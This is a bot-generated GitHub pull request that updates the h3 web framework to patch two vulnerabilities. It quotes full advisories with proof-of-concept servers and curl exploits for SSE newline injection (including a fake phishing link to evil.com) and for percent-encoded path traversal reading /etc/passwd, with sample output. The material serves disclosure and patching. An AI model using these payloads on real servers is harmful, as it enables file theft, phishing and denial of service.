Skip to content

🚨 [security] Update h3 1.15.5 → 1.15.8 (patch)#19823

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/pnpm/h3-1.15.8
Open

🚨 [security] Update h3 1.15.5 → 1.15.8 (patch)#19823
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/pnpm/h3-1.15.8

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Mar 18, 2026


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ h3 (1.15.5 → 1.15.8) · Repo · Changelog

Security Advisories 🚨

🚨 h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-c1">id</span><span class="pl-kos">}</span></span>\n;
}
if (message.event) {
result += event: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-c1">event</span><span class="pl-kos">}</span></span>\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-c1">retry</span><span class="pl-kos">}</span></span>\n;
}
result += data: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">message</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">}</span></span>\n\n;
return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data

Before exploit:
image

image

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});

app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";

for (const client of clients) {
await client.push({ event: type, data: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">user</span><span class="pl-kos">}</span></span>: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">msg</span><span class="pl-kos">}</span></span> });
}

return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&amp;msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&amp;type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&amp;msg=test%0aretry:%201&amp;type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

image image

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection — inject fake messages in chat applications
  • Phishing — inject fake system notifications with malicious links
  • Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

🚨 h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

image

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
serveStatic(event, {
getMeta: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
const stat = statSync(filePath);
return { size: stat.size, mtime: stat.mtime };
} catch {
return undefined;
}
},
getContents: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
return readFileSync(filePath);
} catch {
return undefined;
}
},
})
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

image

Pwned by 0xkakashi

image

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.

Exploitable files include but are not limited to:

  • /etc/passwd, /etc/shadow (if readable)
  • Application source code and configuration files
  • .env files containing secrets, API keys, database credentials
  • Private keys and certificates
Release Notes

1.15.8

compare changes

🩹 Fixes

  • Preserve %25 in pathname (1103df6)

1.15.6

compare changes

🩹 Fixes

  • sse: Sanitize newlines in event stream fields to prevent SSE injection (840ac5c)
  • static: Prevent path traversal via percent-encoded dot segments (6465e1b)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot requested a review from a team as a code owner March 18, 2026 18:06
@depfu depfu bot added the depfu label Mar 18, 2026
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Mar 18, 2026

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro

Run ID: 8163b39e-1745-455c-a4ef-91ca6905c89f

📥 Commits

Reviewing files that changed from the base of the PR and between d596b0c and 6ccec90.

⛔ Files ignored due to path filters (1)
  • pnpm-lock.yaml is excluded by !**/pnpm-lock.yaml
📒 Files selected for processing (1)
  • packages/@tailwindcss-browser/package.json

Walkthrough

This change updates the h3 devDependency in the packages/@tailwindcss-browser/package.json file from version ^1.15.5 to ^1.15.8. The modification results in one line added and one line removed in the manifest file. No changes are made to exported or public entity declarations, and no functional code modifications are involved.

🚥 Pre-merge checks | ✅ 2
✅ Passed checks (2 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly and specifically describes the main change: updating h3 from 1.15.5 to 1.15.8 to address security vulnerabilities.
Description check ✅ Passed The description is comprehensive and directly related to the changeset, detailing the security vulnerabilities being fixed and their impacts.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

📝 Coding Plan
  • Generate coding plan for human review comments

Comment @coderabbitai help to get the list of available commands and usage tips.

@depfu
Copy link
Contributor Author

depfu bot commented Mar 18, 2026

Sorry, but the merge failed with:

At least 1 approving review is required by reviewers with write access.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants